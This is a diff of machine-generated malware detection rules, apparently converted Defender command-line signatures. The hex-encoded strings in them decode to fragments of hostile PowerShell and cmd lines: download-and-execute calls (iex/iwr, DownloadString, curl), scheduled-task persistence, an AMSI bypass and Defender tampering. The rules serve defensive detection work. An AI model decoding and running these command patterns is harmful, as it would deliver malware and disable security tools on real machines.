6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 5c 00 77 00 69 00 6e 00 2e 00 77 00 73 00 66 00 90 00 00 00 d7 21 01 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 4c 61 } //111 + $a_61_11 = {2e 41 21 69 62 74 00 01 00 2e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 47 02 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 02 01 2f 00 46 00 90 02 01 2f 00 74 00 6e 00 90 02 20 5c 00 45 00 76 00 65 00 6e 00 74 00 43 00 61 00 63 00 68 00 } //25972 + condition: + ((#a_46_0 & 1)*21283+(#a_2d_1 & 1)*5120+(#a_00_3 & 1)*111+(#a_00_4 & 1)*264+(#a_00_6 & 1)*116+(#a_00_8 & 1)*110+(#a_00_10 & 1)*111+(#a_61_11 & 1)*25972) >=15 + +} +rule _InfrastructureShared_28136{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 45 21 4d 54 42 00 0a 00 f2 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 90 02 0c 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 00 20 00 6f } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_28137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -346006,7 +367806,7 @@ rule _InfrastructureShared_26458{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116+(#a_02_2 & 1)*114) >=3 } -rule _InfrastructureShared_26459{ +rule _InfrastructureShared_28138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -346017,7 +367817,20 @@ rule _InfrastructureShared_26459{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99) >=1 } -rule _InfrastructureShared_26460{ +rule _InfrastructureShared_28139{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,68 00 68 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 45 21 4d 54 42 00 64 00 50 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 00 02 00 06 00 2e 00 78 00 39 00 30 00 02 00 06 00 2e 00 78 00 39 00 30 00 02 00 } //21283 + $a_00_1 = {78 00 39 00 30 00 02 00 06 00 2f 00 78 00 39 00 30 00 02 00 06 00 2e 00 6a 00 70 00 67 00 90 00 00 00 01 00 40 00 28 00 5b 00 53 00 79 00 } //6 + $a_00_2 = {65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 01 00 18 00 2e 00 47 00 65 00 74 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 01 00 26 00 2e 00 47 00 65 00 74 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 53 00 74 00 72 00 65 00 } //115 + $a_00_3 = {28 00 01 00 16 00 2e 00 52 00 65 00 61 00 64 00 54 00 6f 00 45 00 6e 00 64 00 28 00 00 00 d7 24 01 00 92 01 92 01 0e 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 54 61 6d 70 65 72 2e 47 56 41 21 4d 54 42 00 64 00 20 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 } //97 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*6+(#a_00_2 & 1)*115+(#a_00_3 & 1)*97) >=104 + +} +rule _InfrastructureShared_28140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff92 01 ffffff92 01 0e 00 21 " @@ -346036,7 +367849,7 @@ rule _InfrastructureShared_26460{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_3 & 1)*110+(#a_00_4 & 1)*46+(#a_00_7 & 1)*105+(#a_00_8 & 1)*105+(#a_2f_9 & 1)*13166+(#a_00_11 & 1)*99+(#a_00_12 & 1)*116+(#a_33_13 & 1)*26967) >=402 } -rule _InfrastructureShared_26461{ +rule _InfrastructureShared_28141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346047,7 +367860,7 @@ rule _InfrastructureShared_26461{ ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*656) >=1 } -rule _InfrastructureShared_26462{ +rule _InfrastructureShared_28142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,34 00 34 00 0b 00 21 " @@ -346065,7 +367878,7 @@ rule _InfrastructureShared_26462{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*118+(#a_00_3 & 1)*12+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_27_7 & 1)*0+(#a_00_9 & 1)*112+(#a_42_10 & 1)*29281) >=52 } -rule _InfrastructureShared_26463{ +rule _InfrastructureShared_28143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346076,7 +367889,7 @@ rule _InfrastructureShared_26463{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100) >=1 } -rule _InfrastructureShared_26464{ +rule _InfrastructureShared_28144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346086,7 +367899,7 @@ rule _InfrastructureShared_26464{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26465{ +rule _InfrastructureShared_28145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346096,7 +367909,7 @@ rule _InfrastructureShared_26465{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26466{ +rule _InfrastructureShared_28146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -346106,7 +367919,7 @@ rule _InfrastructureShared_26466{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26467{ +rule _InfrastructureShared_28147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346117,7 +367930,18 @@ rule _InfrastructureShared_26467{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109) >=1 } -rule _InfrastructureShared_26468{ +rule _InfrastructureShared_28148{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 4e 21 4d 54 42 00 64 00 7d 02 73 00 68 00 69 00 6d 00 67 00 76 00 77 00 2e 00 64 00 6c 00 6c 00 2c 00 49 00 6d 00 61 00 67 00 65 00 56 00 69 00 65 00 77 00 } //21283 + $a_00_1 = {75 00 6c 00 6c 00 73 00 63 00 72 00 65 00 65 00 6e 00 20 00 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 50 00 69 00 63 00 74 00 75 00 72 00 65 00 73 00 5c 00 90 02 0f 2e } //95 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*95) >=100 + +} +rule _InfrastructureShared_28149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346127,7 +367951,7 @@ rule _InfrastructureShared_26468{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26469{ +rule _InfrastructureShared_28150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346137,7 +367961,7 @@ rule _InfrastructureShared_26469{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26470{ +rule _InfrastructureShared_28151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346147,7 +367971,7 @@ rule _InfrastructureShared_26470{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26471{ +rule _InfrastructureShared_28152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346157,7 +367981,7 @@ rule _InfrastructureShared_26471{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26472{ +rule _InfrastructureShared_28153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346167,7 +367991,7 @@ rule _InfrastructureShared_26472{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26473{ +rule _InfrastructureShared_28154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346177,7 +368001,7 @@ rule _InfrastructureShared_26473{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26474{ +rule _InfrastructureShared_28155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346187,7 +368011,7 @@ rule _InfrastructureShared_26474{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26475{ +rule _InfrastructureShared_28156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346197,7 +368021,7 @@ rule _InfrastructureShared_26475{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26476{ +rule _InfrastructureShared_28157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346207,7 +368031,7 @@ rule _InfrastructureShared_26476{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26477{ +rule _InfrastructureShared_28158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346218,7 +368042,7 @@ rule _InfrastructureShared_26477{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*114) >=1 } -rule _InfrastructureShared_26478{ +rule _InfrastructureShared_28159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346229,7 +368053,7 @@ rule _InfrastructureShared_26478{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108) >=1 } -rule _InfrastructureShared_26479{ +rule _InfrastructureShared_28160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346240,7 +368064,7 @@ rule _InfrastructureShared_26479{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97) >=1 } -rule _InfrastructureShared_26480{ +rule _InfrastructureShared_28161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346251,7 +368075,7 @@ rule _InfrastructureShared_26480{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*107) >=1 } -rule _InfrastructureShared_26481{ +rule _InfrastructureShared_28162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4c 04 4c 04 0b 00 21 " @@ -346271,7 +368095,7 @@ rule _InfrastructureShared_26481{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_2c_10 & 1)*0) >=1100 } -rule _InfrastructureShared_26482{ +rule _InfrastructureShared_28163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346281,7 +368105,51 @@ rule _InfrastructureShared_26482{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26483{ +rule _InfrastructureShared_28164{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 47 21 4d 54 42 00 01 00 72 02 69 00 65 00 78 00 20 00 28 00 69 00 77 00 72 00 90 02 20 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 78 00 39 00 } //21283 + $a_06_1 = {2e 00 } //48 . + $a_00_2 = {30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2f 00 78 00 39 00 30 00 02 06 2e 00 6a 00 70 00 67 00 27 00 20 00 7c 00 20 00 6f 00 75 00 74 00 2d 00 73 00 74 00 72 00 69 00 6e } //120 + $a_00_4 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 } //-100 http://127.0.0.1 + $a_00_5 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 } //-100 http://10. + condition: + ((#a_46_0 & 1)*21283+(#a_06_1 & 1)*48+(#a_00_2 & 1)*120+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100) >=1 + +} +rule _InfrastructureShared_28165{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 52 52 21 4d 54 42 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 0c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 02 00 14 00 } //21283 + $a_00_1 = {73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 01 00 12 00 79 00 62 00 6b 00 6e 00 67 00 2e 00 63 00 6f 00 6d 00 01 00 12 00 31 00 30 00 78 00 30 00 37 00 2e 00 69 00 6e 00 6b 00 01 00 12 00 37 00 37 00 78 00 34 00 34 00 2e 00 69 00 6e 00 6b 00 01 00 10 00 31 00 31 00 78 00 31 00 2e 00 69 00 6e 00 6b } //114 + $a_00_4 = {2e 00 78 00 79 00 7a 00 01 00 10 00 72 00 69 00 66 00 66 00 2e 00 63 00 6f 00 6d 00 01 00 3c 00 63 00 6d 00 62 00 38 00 6a 00 32 00 6f 00 61 00 37 00 } //120 + $a_00_5 = {30 00 31 00 30 00 38 00 6b 00 77 00 38 00 38 00 77 00 79 00 31 00 74 00 6a 00 39 00 2e 00 69 00 6e 00 66 00 6f 00 00 00 d7 2c 01 00 bf 00 bf 00 } //48 + $a_23_6 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4c 21 4d 54 42 00 64 00 } //7 + $a_00_7 = {6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 46 00 47 00 65 00 74 00 2d 00 4e 00 65 00 74 00 4e 00 65 00 69 00 67 00 68 00 62 00 6f 00 72 00 20 00 2d 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 46 00 61 00 6d 00 69 00 6c 00 79 00 20 00 49 00 50 00 76 00 34 00 0a 00 22 00 24 00 5f 00 2e 00 49 00 6e 00 74 00 65 00 72 00 } //20 + $a_00_8 = {63 00 65 00 41 00 6c 00 69 00 61 00 73 00 0a 00 18 00 24 00 5f 00 2e 00 49 00 50 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 0a 00 26 00 24 00 5f 00 2e 00 4c 00 69 00 6e 00 6b 00 4c 00 61 00 79 00 65 00 72 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 0a 00 10 00 24 00 5f 00 2e 00 53 00 74 } //102 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_4 & 1)*120+(#a_00_5 & 1)*48+(#a_23_6 & 1)*7+(#a_00_7 & 1)*20+(#a_00_8 & 1)*102) >=7 + +} +rule _InfrastructureShared_28166{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffbf 00 ffffffbf 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4c 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 46 00 47 00 65 00 74 00 2d 00 4e 00 65 00 74 00 4e 00 65 00 69 00 } //21283 + $a_00_1 = {62 00 6f 00 72 00 20 00 2d 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 46 00 61 00 6d 00 69 00 6c 00 79 00 20 00 49 00 50 00 76 00 34 00 0a 00 22 00 24 00 5f 00 2e 00 49 00 6e 00 74 00 65 00 72 00 66 00 61 00 63 00 65 00 41 00 6c 00 69 00 61 00 73 00 0a 00 18 00 24 00 5f 00 2e 00 49 00 50 00 41 00 64 00 64 00 } //103 + $a_00_2 = {73 00 73 00 0a 00 26 00 24 00 5f 00 2e 00 4c 00 69 00 6e 00 6b 00 4c 00 61 00 79 00 65 00 72 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 0a 00 10 00 24 00 5f 00 2e 00 53 00 74 00 61 00 74 00 65 00 01 00 1c 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 54 00 6f 00 2d 00 4a 00 73 00 6f 00 6e 00 00 00 d7 } //114 + $a_54_5 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 42 75 7a 7a 4f 70 65 72 61 2e 44 00 ff ff 7e 00 } //8448 + $a_00_6 = {76 00 65 00 61 00 66 00 66 00 69 00 35 00 63 00 69 00 32 00 78 00 78 00 61 00 7a 00 32 00 66 00 6a 00 66 00 72 00 66 00 69 00 35 00 6d 00 77 00 70 00 71 00 76 00 75 00 77 00 34 00 77 00 74 00 6f 00 6d 00 63 00 33 00 66 00 66 00 6c 00 7a 00 63 00 76 00 6f 00 70 00 78 00 74 00 32 00 36 00 35 00 34 00 72 00 79 00 71 } //104 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103+(#a_00_2 & 1)*114+(#a_54_5 & 1)*8448+(#a_00_6 & 1)*104) >=191 + +} +rule _InfrastructureShared_28167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346292,7 +368160,7 @@ rule _InfrastructureShared_26483{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*106) >=1 } -rule _InfrastructureShared_26484{ +rule _InfrastructureShared_28168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -346303,19 +368171,61 @@ rule _InfrastructureShared_26484{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*117) >=1 } -rule _InfrastructureShared_26485{ +rule _InfrastructureShared_28169{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,74 00 74 00 09 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4c 00 01 00 2e 00 6e 00 65 00 77 00 2d 00 73 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 74 00 61 00 73 00 6b 00 61 00 63 00 74 00 69 00 6f 00 6e 00 01 } //21283 - $a_00_2 = {70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 64 00 65 00 76 00 69 00 63 00 65 00 73 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 5c 00 67 00 65 00 74 00 2d 00 70 00 69 00 70 00 01 00 2c 00 2d 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 20 00 27 00 } //97 - $a_00_3 = {74 00 68 00 6f 00 6e 00 77 00 2e 00 65 00 78 00 65 00 27 00 01 00 40 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 2d 00 73 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 74 00 61 00 73 00 6b 00 20 00 2d 00 74 00 61 00 73 00 6b 00 6e 00 61 00 6d 00 65 00 00 00 d7 31 01 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 } //112 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 4b 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 41 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 } //21283 + $a_00_1 = {73 00 73 00 90 02 0f 2e 00 62 00 61 00 74 00 20 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 90 00 05 00 10 00 2d 00 6f 00 75 00 74 00 66 00 69 00 6c 00 65 00 01 00 06 00 69 00 65 00 78 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 } //99 + $a_00_2 = {69 00 6f 00 6e 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 06 00 69 00 77 00 72 00 01 00 06 00 69 00 72 00 6d 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 00 00 d7 2f 01 00 06 00 06 00 06 00 21 } //115 + $a_46_3 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 41 21 4d 54 42 00 01 00 2c 00 3a 00 3a 00 47 00 65 00 74 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6e 00 67 00 41 00 73 00 73 00 65 00 6d 00 62 00 } //21283 + $a_00_4 = {01 00 4c 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 6d 00 73 00 69 00 55 00 74 00 69 00 6c 00 73 00 01 00 34 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 } //108 + $a_00_6 = {62 00 6c 00 79 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 10 00 61 00 6d 00 73 00 69 00 49 00 6e 00 69 00 74 00 01 00 12 00 47 00 65 00 74 00 46 00 69 00 65 00 6c 00 64 00 28 00 00 00 d7 30 01 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //101 + $a_69_7 = {6b 46 69 78 2e 45 45 41 21 4d 54 42 00 0a 00 68 00 69 00 65 00 78 00 20 00 28 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 } //17199 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*112) >=4 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99+(#a_00_2 & 1)*115+(#a_46_3 & 1)*21283+(#a_00_4 & 1)*108+(#a_00_6 & 1)*101+(#a_69_7 & 1)*17199) >=116 } -rule _InfrastructureShared_26486{ +rule _InfrastructureShared_28170{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 41 21 4d 54 42 00 01 00 2c 00 3a 00 3a 00 47 00 65 00 74 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6e 00 67 00 41 00 73 00 73 00 65 00 6d 00 62 00 } //21283 + $a_00_1 = {01 00 4c 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 2e 00 41 00 75 00 74 00 6f 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 6d 00 73 00 69 00 55 00 74 00 69 00 6c 00 73 00 01 00 34 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 } //108 + $a_00_3 = {62 00 6c 00 79 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 10 00 61 00 6d 00 73 00 69 00 49 00 6e 00 69 00 74 00 01 00 12 00 47 00 65 00 74 00 46 00 69 00 65 00 6c 00 64 00 28 00 00 00 d7 30 01 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //101 + $a_69_4 = {6b 46 69 78 2e 45 45 41 21 4d 54 42 00 0a 00 68 00 69 00 65 00 78 00 20 00 28 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 } //17199 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108+(#a_00_3 & 1)*101+(#a_69_4 & 1)*17199) >=6 + +} +rule _InfrastructureShared_28171{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 41 21 4d 54 42 00 0a 00 68 00 69 00 65 00 78 00 20 00 28 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 } //21283 + $a_00_1 = {62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00 74 00 70 00 0a 00 84 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 28 00 28 } //87 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*87) >=11 + +} +rule _InfrastructureShared_28172{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 48 21 4d 54 42 00 64 00 28 00 25 00 55 00 53 00 45 00 52 00 50 00 52 00 4f 00 46 00 49 00 4c 00 45 00 25 00 20 00 26 00 20 00 63 00 75 00 72 00 6c 00 64 00 } //21283 + $a_00_1 = {75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 20 00 26 00 26 00 20 00 63 00 75 00 72 } //42 + $a_00_3 = {50 00 52 00 4f 00 47 00 52 00 41 00 4d 00 44 00 41 00 54 00 41 00 25 00 20 00 26 00 20 00 63 00 75 00 72 00 6c } //40 + $a_00_5 = {61 00 74 00 20 00 3e 00 6e 00 75 00 6c 00 20 00 32 00 3e 00 6e 00 75 00 6c 00 20 00 26 00 0a 00 22 00 2e 00 63 00 6d 00 64 00 